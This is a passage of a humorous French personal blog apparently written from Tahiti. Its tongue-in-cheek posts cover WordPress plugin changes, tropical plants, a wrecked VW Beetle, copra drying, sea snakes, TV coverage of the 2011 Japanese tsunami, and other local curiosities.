  Je tiens absolument à m’excuser auprès des 20 inscrit(e)s à la newsletter du blog qui ont reçu un avertissement de nouveauté aboutissant à une page 404. Pardon, mille pardons. :loser: S’ils ne me lisent même plus, je ne pourrais pas leur en vouloir. D’ailleurs, on passera en mode mensuel, cela évitera la multiplication des mails.

  Révision

  La conjoncture s’y prêtait. Cloué au lit par une lombalgie féroce, j’ai pu réfléchir et surfer à loisir. D’abord, j’ai songé que les fleurs sur mes photos d’Alpinia purpurata étaient bien grosses.  Et, en effet, ce sont des cannes d’eau ou Costus speciosus, cela nous vient d’Asie. Ensuite, Fitis, un passionné du bernard l’hermite m’apprend par son commentaire que mon vulgaire bernard est en fait un Coenabita spinosus, un cénobite épineux, arthropode apparemment méconnu.  Bon, on a précisé en début de post avec les liens nécessaires.

  A dire vrai, la pratique horizontale du clavier permet d’entreprendre une restructuration mesurée du blog sans maltraiter les diverses vertèbres. Je me suis penché doucement sur le chargement de la bestiole dans le navigateur : Dieu que c’est lent… Il a fallu supprimer ou transférer quelques widgets qui encombraient les colonnes dans les onglets de page qui sont désormais réorganisés en sous-catégories pour gagner du poids en moins, si vous me suivez. Bref, un ravalement de façade sur le même thème joliment nommé mystique. Rien ne se perd, on répertorie hors de la page d’accueil.

  Heureusement que wordpress existe pour y mettre un peu d’ordre et qu’on trouve une avalanche de widgets séduisants et de plugin sauvages. Bon, comme on le sait, en matière de pistage à moteur, il arrive qu’on ne trouve rien et il faut se coucher jusqu’au lendemain. Puis un autre jour, c’est l’abondance jusqu’à la pléthore et ça plait. Alors, par exemple, il y a ces giqueries de Valentin B. qui groupent un panel réjouissant.

  On fait aussi du neuf avec du vieux en réussissant à réactiver le widget trombinoscopique dans la barre latérale gauche. Je vous exhorte toutes et tous à vous déguiser, à vous masquer au besoin, pour vous prendre en photo et manifester ainsi votre adhésion entière et sans réserves au Aidez-Ouam, le célèbre comité de soutien à la Créature des Marais. Dès que vous en ressentirez un besoin impérieux, c’est d’accord.

  Novations

  Oui, il serait temps d’en parler. Alors quoi de neuf ? Vous constaterez que l’on saute de l’ocelot au scolopendre et je ne dirai pas pis que. Bon, donc, le neuf, on a au moins un plugin carte postale visible qui permet d’envoyer par le truchement de la CdM des invitations courrielles à venir consulter une superbe carte postale timbrée sur une page personnalisée du blog. Vous cueillez une photographie cédéèmesque, chemin faisant, parmi les galeries, vous remplissez les champs et cultivez votre texte jusqu’à l’aperçu puis envoyez. Faites-le au minimum une fois pour voir si ça marche… Par exemple, Internet Explorer coince, ça passe avec Safari, enfin, je plains les malheureux qui ne peuvent pas s’acheter Mozilla-Firefox avec lequel tout fonctionne très bien.

  Quoi d’autre ? Ah oui. Vous connaissez peut-être le plugin du type thumbnail related post qui vous allèche à la fin d’un article : « Si vous avez aimé, vous aimerez aussi… » avec les liens vers d’autres baratins. certaines versions intègrent l’affichage de la miniature d’en tête (ongle de pouce en anglais) des articles liés. Seulement, voici peu que je suis accoutumé d’ajouter le thumbnail à mes productions et depuis février 2008, il faudrait procéder à plus d’une centaine de modifications… La création automatique de thumbnail n’a pas l’air au point. Pour l’instant, on va attendre voir.

  

  En revanche, cet autre plugin quiz vous permettra sans beaucoup d’efforts de concocter un Quiz QCM sobre, modifiable et convivial qu’on se promet de placer dans le prochain article… et puis, je vous ai mis trois photos dans la colonne (à partir des quatre galeries actuelles pour carte postale). C’est tout ?

  Ah non ! Il restait enfin le fameux sondage sur la plus belle langue de l’univers qui n’a pas intéressé grand monde et n’apparaissait pas sous IE. Mais je ne sais même plus d’où vient le code à insérer dans le widget-texte… Je peux le communiquer (avec mes « novations ») sur contact courriel .

  Pour l’instant, il devait finir aux oubliettes sous sa forme interactive car il enjolive le post. A quoi aura-t-il servi ? A réaliser, que pour plus de 52% des votants, le shadok demeure la plus belle langue de l’univers. Non car il aura l’honneur et l’avantage de rester dans nos mémoires en se métamorphosant en miniature illustrative en tête d’article. Et le lien pop up qui apparaît quand vous cliquez sur l’image du sondage pour apprendre les bases de la langue shadok. Rien ne se perd.

  
• Alpinia purpurata

  Si vous lisez ce blog pour la première fois, j’aimerais préciser qu’en fouillant un peu, on y trouve aussi de très belles photographies d’opossum éventré ou de rat décollé, c’est la nature. Textuellement, on y rencontre également pas mal de digressions presque toutes instructives. Au jour du jour d’aujourd’hui – c’est vous dire si c’est actuel – et malgré les gens qui n’aiment pas les fleurs, on va encore en faire une : une fleur qui donne des fleurs, tel un feu d’artifice combiné par les jumeaux Weasley dans Harry Potter. C’est trop.

  

  Le nom

  Car c’est ainsi que l’Alpinia purpurata commence d’exister, en étant nommée, vous savez que c’est l’usage des humains pour que les choses soient. Et, grâce à Dieu, depuis la tour de Babel, ils sont polyglottes, ce qui n’est peut-être pas l’idéal pour éviter les contresens mais nous vaut une certaine variété dans les appellations qui, depuis Babel donc, sont incontrôlées.

  En guise d’exemple de ce foisonnement, chez les Papous, outre les langues véhiculaires, tok pisin et hiri-motou, on en compte d’autres, minoritaires, dont 595 austronésiennes et 203 mélanésiennes – soit 800 langues – parlées en moyenne par 5600 locuteurs pour l’ensemble de la Papouasie-Nouvelle Guinée. Rapporté à la population, c’est un peu comme si on parlait 15 000 langues différentes en France, excusez-moi du peu.

  Zorn-le-pessimiste, Sage martien peu connu du XXXIème siècle avant Fritz, faisant allusion à l’Alpinia purpurata, a écrit : « La plante aura toujours plus de feuilles que de noms. C’est pourquoi dans mon slip, j’ai mis des cactus ». Hélas, nous n’avons pas le temps de gloser sur la noire profondeur de cette pensée puisque je dois maintenant justifier le titre de cette partie. On se recentre ?

  

  Le nom latin, Alpinia purpurata, émane, au sens physique, de la nomenclature des botanistes, la profession ne m’en voudra pas – je l’espère – de l’avoir emprunté. Les Anglophones de Hawaï la nomment red ginger quand ils sont flegmatiques et jungle queen quand elle est rose. Le vocable arabe qui la désigne est el zob el akhmar. A la réunion, les indigènes l’appellent galanga d’une voix très forte. On l’offre aux Antilles francophones sous le sobriquet de lavann wouj, wòz (lavande rouge, rose selon son nom). La dénomination tahitienne est opuhi et ce peuple-là, croyez-moi, s’y connaît en matière florale. En Polynésie, elle sert – plutôt que de s’étioler bêtement sous un ciel gris, captive d’un pot dans une serre – à orner librement les farés, au milieu de ses sœurs plus menues, farandole de couronnes et colliers, sous le ciel bleu. C’est mieux, non ?

  Le mystère des origines

  D’où vient l’Alpinia purpurata ? Je me doute bien que vous vous en badibulguez l’alpinette et que jamais cette question, pourtant fondamentale, ne vous vint à l’esprit lorsque vous vous rasiez en vous regardant dans le miroir et le matin. Or, apprenez qu’il est peu de sujets plus mystérieux que celui-ci.

  

  L’exploration minutieuse de la toile (que sécrètent tant d’humanoïdes arachnéens animés d’intentions diverses) révèle, au-delà de quelques indications valides, une inquiétante contradiction, pullulante et abstruse – assez comparable à la créature des marais. En effet, parmi les sites marchands, l’un affirme qu’elle provient d’Amérique centrale, l’autre d’Afrique du Sud, un troisième lui veut Hawaï pour lieu natal, un autre enfin raconte qu’elle vit le jour en terre Adélie, cela reste à prouver. Pour le blogueur attaché à sa localité, c’est évident, elle est née chez lui, et où qu’il habite dans le monde, il n’autorise personne à supposer que – disons – St Malo-de-Guersac ou St Marc-la-Jaille ne soit pas le berceau initial de l’Alpinia purpurata. Quant aux sites à vocation naturiste, ils prétendent qu’elle pousse bien dans le Péloponnèse et la surnomment plumet d’autruche.

  Alors, d’où vient l’Alpinia purpurata ? On y arrive. Mais il faudra bien en passer par la famille et la terre, ne pas oublier les vraies valeurs. L’Alpinia purpurata est rhizomateuse, c’est malheureusement héréditaire chez les Zingiberaceae qui excellent par ailleurs dans le ballet fourmilier ou le spectacle équestre, ai-je ouï dire mais j’ai l’ouïe dure. Le rendement annuel à l’hectare est d’environ 35 000 pieds. La principale technique de multiplication est le prélèvement d’éclats de touffes, 3 à 5 tiges, qu’on replante avec les dents. Voilà. A ce stade, quoique vous ignoriez toujours d’où vient l’Alpinia Purpurata, vous pourrez facilement faire illusion 1 mn 37 secondes devant un spécialiste. Toutefois, il paraît improbable que vous en croisiez un prochainement, n’est-ce pas ?

  

  
  

  Va-t-on finalement savoir d’où vient l’Alpine pourpre ? Bon, oui, vous l’avez mérité. Si l’on s’en tient aux sources les plus crédibles, elle est originaire de Kanaky, du Vanuatu, des Salomon et de Papouasie-Nouvelle Guinée, je vous le donne en îles, et sans doute dans l’ordre inverse. Pour simplifier, elle viendrait de cette zone du pacifique-sud-ouest – les autochtones y ont une conception horticole de l’agriculture et c’est une plante cultivée – à partir de laquelle elle aurait entamé son voyage par le Sud puis vers l’Est jusqu’aux Amériques, et désormais partout sous les tropiques, croissant au petit déjeuner. En prenez-vous de la graine ?

  PS : Si quelqu’un vous demande pourquoi les fourmis aiment se nicher dans les bractées de l’Alpinia purpurata, répondez-lui sobrement d’aller se faire empapaouter. Surtout que les trois dernières photos ne sont pas des Alpinia purpurata mais des cannes d’eau, costus speciosus dont les fleurs sont plus grosses et les bractées aussi sucrées. Merci de votre attention.

  
• Epave de coccinelle à Tahaa

  Comment cette merveilleuse épave de coccinelle a-t-elle pu demeurer en l’état depuis la fin de sa circumnavigation polynésienne, nonobstant son âge canonique d’après le modèle et la plaque ? Eh bien, c’est sur l’île de Tahaa que l’on voit cette chose insolite, une vieille dame respectée malgré son passé trouble (rappel : ne jamais élire un dictateur), adoptée par la suite à cause de ses formes si sympathiques sous les surnoms teutonique de Faové, albionesque de Beetle ou français de Kox, cette vieille dame, dis-je, peut se reposer tranquillement au bord de la route.
  

  Côté face

  Avec ses portières ouvertes en ailes, elle fait un peu penser à Dumbo, l’éléphanteau volant. J’adore la couleur mastic années 60, les vitres teintées et le pare-soleil puis les coulées de rouille pareilles au sang séché d’horribles blessures. Le strabisme des phares est presque attendrissant. Un amour.
  

  
  

  

  
  

  De profil

  
  

  L’aspect disloqué de notre volkswagen ne lui ôte pas son côté automobile miniature d’autrefois : les courbes élégantes conservées, même soumises à torsion ou cisaillées, se marient à l’alliage riveté des jantes, aux pneus qui semblent de gomme pleine.

  

  
  

  Et voilà, c’est tout pour aujourd’hui. La prochaine fois, nous parlerons de la deux-boeufs du père Devos, paix à son âme et gloire éternelle. Merci de votre attention.

  
• Séchoir de coco à Faaaha

  Squeezé, le Quiz

  
  

  

  
  

  Un séchoir de coco, on aurait pu en faire un jeu quiz… Mais le nom du lieu me paraissait assez rigolo comme ça pour les Non-polynésiens. Voici ci-dessous le séchoir en question.
  

  
  

  

  
  

  Royal Coprah
  

  Les Polynésiens, donc, à l’instar d’autres peuples, produisent du coprah, par exemple, ici, à Faaaha sur Tahaa et rira bien qui rira le dernier. On débourre les cocos, autrement dit, on arrache la première écorce puis on fend la coque en deux. On répartit le tout dans le séchoir. Une charpente à faible inclinaison couverte de tôle et montée sur deux rails vient chapeauter les noix pour les protéger des ondées, augmenter la chaleur et accélérer le dessèchement. Les amandes se détachent facilement au terme du processus et elles sont empilées dans des sacs de 50 Kg car les gars du pays sont costauds. La noix sèche râpée s’utilise en gastronomie, l’huile obtenue par la pression du coprah est notamment employée dans la confection des cosmétiques et la lubrification des préservatifs. On en apprend des choses, hein ? La prochaine fois, nous parlerons des salorges en marais guérandais et de l’hypertension du héron local. Merci de votre attention.

  
  

  Post-Scriptum

  Je teste la prise de vue en raw avec le KD10, ce qui me donne des pef (traités sous PS CS5 pour l’export en jpg) valant presque le HDR, pour celles et ceux qui voient ce que je veux dire. Que les autres aillent se faire cuire un œuf de Pâques me pardonnent. Il faut dire que la multiprise sans pied, avec des expos différentes,  sur des trucs qui bougent, comme la mer et les cocotiers, c’est pas top. Bon, ma photo n’est pas terrible non plus mais en bonne définition, elle ne rend pas si mal. Enfin, pour ce que j’en dis, moi, vous pouvez aussi bien faire un commentaire si vous avez lu jusque là. Non, c’était trop demander, je vous le concède.
  

  
• Uturoa, un quad original

  Cela faisait bien quelque temps que je n’avais rien infligé à ce tout petit nombre – j’allais dire chiffre – de lectrices et de lecteurs fidèles qui supportent mes farces à deux centimes.

  A commencer par le titre, pour vous éviter d’ouvrir un nouvel onglet de recherche et mieux vous représenter les choses, voici ce que vous verriez en enfourchant le quad.

  

  Eh oui, c’est sublime… saturé de couleurs rutilantes et somptueuses avec lesquelles le glorieux quadribiker garé sur le quai se met à l’unisson. En effet, entre les tropiques, il est de très mauvais ton de porter un pantalon souris, des chaussettes de deuil et un pull-over caca d’oie. A la réflexion, ailleurs aussi peut-être. Pour en revenir aux véhicules, j’ai toujours aimé la 2CV verte au milieu du flot gris et l’on devrait interdire, du moins dans les contrées ensoleillées, l’essentiel des coloris aux noms grotesques que les commerciaux accolent aux nuances des carrosseries mais qui se limitent, en fait, à des variations qui vont du blanc pur au noir pur et inversement, je vous l’accorde.

  

  Je vous céderai également qu’en matière de moyen de transport la discrétion exclut le style rococo mais il existe apparemment des gens qui n’y rechignent pas et savent qu’il suffit d’agglutiner des symboles disparates pour créer… pour créer… ce qu’ils ont envie de créer et voilà tout, comme disait Monfreid.

  

  Le siège a l’air original confort mais demandez-vous à quoi servent les tubes qui ressemblent à des lance-roquettes…

  

  Le reste nombreux des détails de l’œuvre est, pour le moins, comme dit mon ami David, curieux. On note l’entrelacs des cannes high tech et les arabesques des cordons ordinairement rouges de coupe-circuit, la profusion de phares tous azimuts, le déflecteur de rayons cosmiques, les fusils sous-marins armés de leur flèche, aux deux embouts sagittaux qui dissimulent la menace pendent des nattes tressées, une hélice à huit pales qu’encadrent deux ailes de volatile non-identifié et que surplombe une tête de loup tout en gueule garnie d’une denture de squales, l’extrémité de la canne qui soutient le mufle tel un rostre pourfend une petite culotte.

  

  L’engeance humaine n’est jamais en mal d’hypothèses… Alors ? Que penser du propriétaire ? Un rustre pompier à la retraite, ancien livreur de pizza, nostalgique, ayant avec l’âge abandonné les six-roues, les deux-roues et pété les plombs ? Sûrement plutôt une nature homérique au rire bruyant comme une cataracte et aux accents virils… Grand pêcheur de sirènes et grand chasseur de poulettes, il ferre et harponne, un killer quoi. Pire, un barbe-bleue, il accroche les chevelures opimes de celles qui lui ont succombé.

  

  Allez, je vous propose l’allégorie suivante : le conducteur est le grand méchant loup qui, savourant à l’avance la défaite de sa victime, s’est paré de ses couleurs. Avec son quad à hélice, les turbo-réacteurs et les feux pour l’éblouir, il n’aura pas même besoin du raccourci pour fondre sur sa proie et ne sera par conséquent pas obligé de manger la grand-mère… Tout à fait luciférien. Je m’interroge pourtant sur la nécessité du pare-buffle.

  Vous pouvez soumettre votre propre interprétation en laissant un commentaire, rien ne sera censuré. Merci de votre attention.

  
• Tricot rayé à Moorea

  
  

  Une sorte de titre à la Frédéric Dard qui en avait une longue, sinueuse et turgescente d’imagination. Il n’est pas le seul et en guise de serpent, chaque vice trouve son bonheur et réciproquement.

  
  

  Serpent marin ou serpent à plume

  
  

  

  
  

  Comme vous voyez, le serpent marin auquel ne répugne pas la chair humaine, pond des petits.  Cette gravure européenne peut-être inspirée par le combat de Persée a son pendant aztèque en anthropophagie sous la forme bien connue de Quetzalcóatl prenant son petit-déjeuner.

  
  

  
  

  

  
  

  Serpent ou dragon

  
  

  Le serpent est apparenté au dragon comme chacun sait. Il garde un trésor et souffle du feu, se baigner dans son sang comme Sigfried dans celui de Fafnir rend invincible, soit dit en passant.

  
  

  

  Mais le talent du serpentin le plus unanimement admis par les sages est la faculté de se pouvoir mordre la queue et il n’y manque pas, de l’Islande à la Chine en passant par les Mayas.

  
  

  
  

  

  

  L’ouroboros, mot grec signifiant qui se croque le pédoncule, est un des grands symboles humains de l’éternel retour formulé clairement par le premier alchimiste Zosime de Panapolis au IIIe siècle :

  “Un [est] le Tout, par lui le Tout et vers lui [retourne] le Tout ; ; et si l’Un ne contient pas le Tout, le Tout n’est rien (Ἓν τὸ πᾶν καὶ δι’ αὐτοῦ τὸ πᾶν καὶ εἰς αὐτὸ τὸ πᾶν καὶ εἰ μὴ ἒχοι τὸ πᾶν οὐδέν ἐστιν τὸ πᾶν). Un est le serpent l’ouroboros, le serpent qui mord sa queue], celui qui possède l’ ios [la teinture en violet ?, dernière étape de la transmutation après le noircissement, le blanchiment] après les deux traitements [noircissement et blanchissement ?]. Cette formule est accompagnée du diagramme de l’ouroboros^”

  Zosime de Panopolis, Mémoires authentiques, VI : Diagrammes ; Les Belles Lettres, p. 21 : texte grec ; p. 175-184 : traductions et commentaire.

  Les images qui illustrent les chapitres précédents proviennent d’un article qui fait élégamment le tour de la question serpent et dragon, allez voir là.
  

  Le tricot rayé, un petit serpent marin sympa

  
  

  Le Laticauda Laticaudata qui préfère qu’on l’appelle plus simplement tricot rayé vit dans la zone indo-pacifique-ouest. Ses rayures blanches et bleues le font marin autant que sa manière de vivre essentiellement marine et sous-marine même : la bestiole a de gros poumons et tient deux heures en apnée. Elle farfouille les fonds sableux pour se nourrir de congres, murènes et d’autres petites proies selon ce qui se dit ici ou encore ici.

  

  
  

  Parmi les serpents marins de ce monde, le tricot rayé est l’unique ovipare. Il copule dans l’eau mais pond à terre. Ses rayures au nombre compris entre 20 et 65 lui octroient une célérité certaine sur le sable, comme Flèche bleue, et lui permet même de grimper aux arbres quand il est pris d’un coup de folie.

  Le tricot rayé est-il dangereux ?

  Pas vraiment et les accidents sont rares. Le tricot rayé dispose d’un venin capable de foudroyer un tyrannosaure mais à cause de l’étroitesse de sa mâchoire, il ne peut vous mordre qu’au lobe de l’oreille à moins que vous ne vous soyez naturiste . Donc pas de panique.

  Il est d’ailleurs emblématique en Calédonie où les gens ont le sens de l’auto-dérision.

  
  

  

  
  

  Tricot rayé à Moorea ?

  
  

  Si, si, le serpent sous l’eau, c’est réellement à Moorea capté par la CdM comme les photos. Pour le reste… merci à quelques internautes et à imovie.

  
  

  NB : Les tricots rayés en Polynésie semblent rares et, en plus, ils n’aiment pas les plages de sable noir. Merci de votre attention.
  

  
  
  

  
  

  
• Poisson d’avril

  A Tahiti, il eût été encore temps de vous faire un bon gros poisson d’avril : nous sommes toujours le 1er à la nuit tombante. Hélas, ce blog tissé de calembredaines ne saurait convaincre de quoi que ce soit quiconque a le sens des réalités, alors tant pis.

  A propos de poisson, on rappelle aux enfants naïfs qu’il faut se méfier des BD dont les auteurs sont – on le sait – parfois insuffisamment documentés, quelle que soit leur réputation. Et, par exemple, on veut croire que les planches 55 & 56 de l’oreille cassée furent dessinées un 1er avril. Non mais regardez-moi ces poissons rouges :

  

  
  

  Un vrai piranha, c’est plutôt comme ça…

  
  

  

  C’est petit mais avec une grande mâchoire garnie d’un nombre de dents notoirement supérieur à 7 fois la dentition de la Créature des Marais.

  

  
  

  Petite blague pour fêter le 1er avril : Glissez discrètement un piranha dans le slip d’un ennemi.
  

  
  

  Et une petite charade pour finir ?

  
  

  

  
  

  Merci de votre attention. Et encore pardon.
  

  
  

  
  

  
  

  
  

  
• Fourmis et galette en Polynésie

  Cet article suit immédiatement le précédent dont la lecture a pu arracher au mieux des rires jaunes aux personnes qui ont un humour aussi pitoyable et grinçant que celui de la CdM . Alors, pour se rattraper un peu, on va encore raconter n’importe quoi et pour commencer, apprenez que la CDM s’écrit en morse : −·−· −·· −− et ça fait ta-ti-ta-ti ta-ti-ti ta-ta ou encore plus sobrement, Tatie, Tatie ! T’as titi, Tata ?

  

  
  

  D’ailleurs, en ces époques de catastrophes où nous vivons, peut-être n’est-il pas superfétatoire d’apprendre un moyen de communication simple et efficace dès fois que plus grand-chose ne marche. Voici donc un lien pour apprendre, cliquez sur la morsette.

  
  

  

  
  

  Mais quel rapport avec La suite ? Aucun mais ce blog n’a jamais brillé par sa logique. Donc, la suite, c’est une course à la galette organisée par les fourmis de Polynésie. Je sais, c’est une vidéo complètement con et faite à l’arrache. Denisot Désolé.
  

  
  

  Get the Flash Player to see the wordTube Media Player.

  DERNIÈRE MINUTE : Je voudrais de toute urgence prévenir mon ami DAVID. Depuis quelques temps, il insère des femmes nues dans ces articles (cf. son blog de et sur lui et St Martin). Résultat : tremblement de terre en Guadeloupe. Un Imam l’a déjà fustigé en chaire et il se pourrait qu’un commando de millénaristes gwada viennent lui couper les roubignoles pendant la nuit prochaine. Je vous en supplie, allez, toute affaire cessante, faire un commentaire sur son blog pour l’avertir car je n’arrive pas à le joindre.
  

  Merci de votre attention.
  

  
• Drame nippon, télévision française et pessismisme

  Pourquoi la Créature est-elle pessimiste ?

  Évidemment, le monde entier s’en tape les cacahuètes à se les faire ricocher de ce que pense en ce moment la Créature des Marais. Une connaissance récente à qui j’avais, dans la vie réelle, indiqué ce blog m’a fait trop de l’honneur allant le parcourir et fait remarquer qu’il lui avait semblé pessimiste. Perspicace, elle avait peut-être considéré plus attentivement que d’autres le montage d’en-tête de ce site…

  En tout cas, on m’avait déjà fait part, de divers côtés, du caractère absurde, inutile de ce blog ou du mauvais goût de certains articles mais pas de pessimisme pour l’ambiance générale. Cela m’incite à réfléchir autant que je puis le faire, ce qui n’est pas grand-chose, on s’en rendra compte.

  Comment devient-on pessimiste ?

  Le pessimisme indissolublement lié au spleen et à la prévision du pire naît sans doute d’un désappointement plus ou moins précoce quant à l’idée qu’on se fait de l’univers en général en ce qu’il recèle de merveilles absconses, inconnaissables et périlleuses et de l’humain en particulier en ce qu’il a de méprisable par bien des aspects.

  Dans la nuit de jeudi dernier, après trois coups de sirènes, pliant armes et bagages, nous avons dû, habitants côtiers de Tahiti, gagner les hauteurs. La relation de ce détail est d’un intérêt bien discutable quand la télévision les jours suivants nous a montré les tsunami monstrueux balayant les villes japonaises.

  Et nous en venons à un détail critique : ce flot d’image et la logorrhée qui l’enrobe m‘ont paru littéralement insoutenables.  Les media, émanations nauséabondes du spectacle et du profit qui gouvernent l’humaine curiosité des masses et le cynisme des profiteurs.

  Que voit-on à la télévision française ?

  C’est facile : un tsunami de honte. Simple zapping.

  • La présidente du Nucléaire d’Areva, invitée à commenter les petits ennuis de nos partenaires nippons, en profite pour vanter à nouveau l’énergie propre, inoffensive, festive qu’on est en train de mettre en route, nous les Français…
  • Le grotesque Allègre et le Cohn Bendit conférant : chacun des deux bouffons répétant sa même idée pendant dix minutes à raison de cinq minutes l’un l‘autre par intervalle de 15 secondes, j’étais parti lire sur le lit avant même qu’ils ne se compétassent.
  • Les dernières images du séisme à Tokyo, la caméra bougeait alors que les nuages permettaient de corriger ce défaut de réalité : non ! Il faut dramatiser – n’est-ce pas – comme s’il en était besoin…
    
  • Ruquier (animateur TV) éclatant de rire à l’intervention hautement burlesque d’un convive (1/4 de seconde).
  • India, a love story, où « comment les Indiens qui à la suite des Brésiliens qui à la suite des Mexicains ont bien compris les Etats-Uniens » et même surpassés, en copiant l’idée que pour partir à la conquête de l’univers, il faut d’abord se poser en modèles culturels. La téléspectatrice captivée d’un bout à l’autre du monde garde un œil de profil sur le feuilleton en touillant le manger sur le feu.
  • Des Japonaises et des Japonais pleins d’abnégation et de superbe face au désastre et en face du péril (par comparaison, les Policiers de Christchurch, en Nouvelle-Zélande, lors du tremblement de terre fin février – 6,3 Richter – 400 victimes, avaient été navrés de voir des pillards à l’œuvre 15 minutes après la secousse).
  • Un  directeur d’automobiles nationales niaisement épanoui qui explique qu’ »on va se faire le plaisir de fournir » ce que le Japon en deuil ne peut plus produire actuellement.

  Par pessimisme, je ne regarde presque jamais la télé. Des spasmes d’espoirs et des horreurs sans nom sur l’histoire de la planète, de la manipulation, si peu de vraies informations, la médiocrité de l’emballage, je préfère m’abstenir.

  Quant à la fiction, c’est encore plus fort. Je suis sûr que le film sur les cinquante héros sera achevé avant même que les réacteurs ne soient éteints, s’ils s’éteignent…
  

  Restent les allégations de colère divine : L’Imam tonne contre l’immoralité nippone bien punie et les Millénaristes se congratulent sur l’imminence évidente du jugement dernier. Je laisse ces imbéciles mesquins braves gens croire que l’homme est méchant, condamné et qu’eux seuls , pauvres d’esprit innocents, sont à l’abri. Pour ma part, égoïstement planqué dans mon île du Pacifique Sud mais angoissé, je plains nos Amis japonais qui nous donnent peut-être sous leur apparente sérénité à l’heure du drame une leçon de civilisation.

  PS : Allez écouter l’optimisme délirant de Didier Super dans « on va tous crever », c’est une alternative. Merci de votre attention.
  

  
• imac et imprimante obsolète

  Causons un peu investissement et matériel informatique en énonçant à regret ce truisme qu’une obsolescence rapide en est la caractéristique principale. En particulier, l’amortissement incertain des périphériques qui nous convainc que la durée de vie du matos flambant neuf s’apparente davantage à l’éphémère qu’à Mathusalem. J’en veux pour exemple cette superbe imprimante HP deskjet 1280 qui peut sortir du A3 et que j’avais acquise voici déjà 5 ans. Une éternité donc.

  
  

  
  

  Essayant de la connecter à mon cadeau de noël, un imac léopard des neiges sous mac osx 10.6.6, je constate qu’elle n’imprime qu’en noir et blanc alors que je viens de remplacer la cartouche couleur. Comme dirait David, c’est un peu ballot. Une recherche sur le site officiel de Hewlett-Packard m’apprend que mon imprimante est obsolète pour ce système d’exploitation. C’est encore plus con…  La solution est à chercher du côté des philanthropes de sourceforge, encore eux, qu’on ne remerciera jamais assez et qui ont concocté des pilotes adéquats pour les malheureux qui dépriment devant leur imprimante désormais inutile. Voici le lien si vous rencontrez ce genre de problèmes.

  On remarquera peut-être que la Créature des Marais ne s’offre pas de la daube. Notez qu’elle économise sur les voyages touristiques en habitant depuis près de vingt ans des lieux exotiques à divers endroits de la planète.

  Un truc qui n’a rien à voir : une certaine Laureline Karaboudjan, experte en BD, entre autres hergéenne, a cité la CdM sur son blog dans un article rigolo et très bien fait qui s’intitule : « Tintin soutient les Emirs« . Pour celles et ceux qui aiment l’œuvre de Hergé, ils y trouveront plusieurs articles qui s’y rapportent. Merci de votre attention.
  

  
• Minou, tupperware, rat et lait demi-écrémé

  Minou a bien fait son job, il a mangé le rat ? Il mérite un tupperware de lait à demi-écrémé, non ?
  

  
  

  Merci de votre attention.

  
• Qu’aurait pu faire Tintin à la place de MAM ?

  On objurguera peut-être à la Créature de Marais qu’elle honore des idoles cyclothymiques comme elle ? C’est possible. On pourra dans la même veine alléguer qu’elle retarde sur l’actualité, c’est établi, si l’on veut. Néanmoins voici ses propos : « Je pense souvent aux critiques absurdes qui circulent à propos d’Hergé : raciste, collabo, scout, homosexuel refoulé et autres épithètes peu glorieuses dont l’affublent des gens à l’éthique aussi revancharde et médiocre que datée. Enfin quoi, le fils de l’imparfait créateur s’est-il jamais laissé de son plein gré suborner par des personnages malhonnêtes ? Si ce fut le cas, notons que c’était par naïveté et que fort de ses connaissances de journaliste d’aujourd’hui, il serait plus prudent« .

  

  Merci de votre attention.

  
• Femmes-girafe et Chirac à Tahiti

  Contrairement à ce qu’on pourrait supposer en hâte, la Créature des Marais, sans avoir jamais été prosélyte, a une certaine sympathie pour Jacques Chirac. Ce qui ne l’empêchera en aucun cas de vous présenter le jeu mystère du jour :

  Sauras-tu reconnaître Jacques Chirac à Tahiti parmi ces femmes girafes ?

  
  

  

  

  

  Merci de votre perspicacité.
  

  
  

  
  

  
  

  
  

  
• Chat et hamac enroulés

  Le hamac vient du Maranhão et le chat de Tahiti. Ils sont tous deux enroulés en bout de terrasse parce qu’il pleut des cordes à l’heure actuelle sans compter que le fond de l’air est frais. Il n’y a plus de saisons même au paradis.

  
  

  

  
  

  C’est vrai, on aurait pu faire un jeu de mot stupide avec Pachacamac d’autant que chacune à chacun connaît le plus fameux site archéologique péruvien de tous les temps où se trouve précisément le temple du soleil. Pour celles et ceux qui, en guise de culture, se cantonnent à la geste hergéenne, un simple rappel focal et tout est dit.

  
  

  

  
  

  Pouvions-nous vous laisser sans quelque information supplémentaire ? Non, bien sûr, non. Voici donc, accessoirement, ce que vous devez savoir : le lama naît d’un œuf de chat couvé dans un hamac par un crapaud pendant 666 jours…

  
  

  

  mais contrairement au chat, le lama n’aime pas qu’on le caresse sous le menton.
  

  
  

  

  Merci de votre attention et prenez garde :

  
  

  
• Palétuviers en baie de Phaëton

  Allez, la photo du dimanche ! Des palétuviers en baie de Phaëton, côte ouest de Taravao. Si vous voulez une géolocalisation précise du lieu d’où le cliché a été pris : 17°43’43.34″S  149°19’37.24″O.

  
  

  

  
  

  Merci de votre attention.
  

  
• mosh pit

  C’est marrant les mouvements de djeun’s jeunes (zut, j’allais trop négliger la crédibilité stylistique de cet espace discursif) ! Il est vrai que si l’on dit cela, en général, c’est qu’on est quinquagénaire. Prenons par exemple, les Emos et les Gothics, je vois bien le look alors que, d’ailleurs, je ne connais même pas leur musique, Thérèse. Bon, je me renseigne de temps à autre car rien de ce qui est crétin ne m’est étranger. Mais ayant été autrefois un jeune sot, je constate que je suis inéluctablement devenu un vieux con. C’est sans doute triste mais ne nous laissons pas abattre.
  

  Une des solutions lorsque vous guette la sénilité dédaigneuse des soucis pubères consiste à fréquenter occasionnellement plus vert que soi. De la sorte, un camarade moins âgé (Huriau pour ne pas le nommer) m’a rencardé sur le concept de mosh pit. Or il est possible que ce divertissement soit l’objet de tous vos week-end… si ce n’est pas le cas et que, fossile également, vous en soyez resté(e) au pogo, la vidéo ci-dessous est assez éloquente.

  
  

  Penser que le comportement du public dans un concert heavy échappe à l’humaine conduite n’est pas charitable. En effet, ces jeunes gens – qui ne paraissent plus très adolescents – me semblent renouer avec leurs ancêtres d’il y a un millénaire et demi. Entreprise noble de jeunes adultes éclairés que de perpétuer une antique tradition. Face à face, ils incarnent la rencontre clanique faite d’horions et de beuverie qui fut l’ordinaire des Celtes, des Pictes, des Angles et des Saxons, des Lombards, des Vandales, des Huns, des Alains, des Burgondes, des Francs et des Goths de l’Est comme de l’Ouest, tous gens charmants, dans une joyeuse communion païenne et qui n’exclut pas une saine camaraderie. A ceci près qu’ils ne sont pas armés.

  Pourquoi donc ne pas distribuer quelques couteaux à l’entrée du stade ? Des jeunots exaltés, le goût du sang… la mélodie aidant… ce serait peut-être une chance unique pour ma petite famille, les autres étant partis banqueter avec Odin, d’assister à un super concert métal en toute sérénité ?

  
  

  Merci de votre attention.

  
• MAM se justifie

